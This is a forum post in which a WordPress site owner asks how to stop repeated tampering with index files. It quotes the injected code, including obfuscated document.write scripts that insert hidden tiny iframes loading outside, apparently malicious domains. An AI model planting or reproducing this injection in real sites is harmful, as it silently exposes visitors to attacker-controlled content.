my site is being hacked – how to stop it?

I have a WP site that has twice been corrupted. I suspect it’s a virus or some kind of a hack. In both cases I was able to replace the corrupted file and retsore the site.

Can anyone tell me how to stop it?

The files /index.php and /wp-admin/index.php had both been changed to add a script.

QUOTE

<script type=”text/javascript”>

try {

var pageTracker = _gat._getTracker(“UA-7623457-2”);

pageTracker._trackPageview();

} catch(err) {}</script>’; ?><?php echo ”; ?><?php echo ”; ?><?php echo ”; ?><?php echo ‘<script type=”text/javascript”>try {var pageTracker = _gat._getTracker(“UA-32645524-1″);pageTracker._trackPageview();} catch(err) {}</script>’; ?><?php echo ”; ?><?php echo ”; ?><?php echo ”; ?><?php echo ”; ?><?php echo ”; ?><?php echo ‘<script>document.write(“<“+”i”+”f”+”ram”+”e sr”+”c=\”h”+”t”+”tp”+”:”+”/”+”/tr”+”ught”+””+”s”+”a.c”+”o”+”m/\” wid”+”th=1 he”+”ight”+”=”+”2></if”+”r”+”a”+””+”me>”);</script>’; ?><?php echo ‘<script>document.write(“<if”+’ra’+”m”+’e s’+”rc=\”h”+’tt’+”p:”+”+”/”+’/mic’+”roso”+’t’+’f.c’+”n”+’/’+”\” wid”+’th=1 he’+”igh”+’t’+”=”+”2></i”+”f”+”ra”+”+””+”+”me”+’>’);</script>’; ?><?php echo ”; ?><?php echo ”; ?><?php echo ‘<script>document.write(“<if”+”+’ra’+”+”m”+’e s’+”rc=\”h”+”+’tt’+”p:”+”+”/”+”+’/mic’+”roso”+’t’+”+’f.c’+”n”+’/’+”\” wid”+”+’th=1 he’+”igh”+”+’t’+”=”+”2></i”+”+”f”+”ra”+”+””+”+”me”+’>’);</script>’; ?>

END QUOTE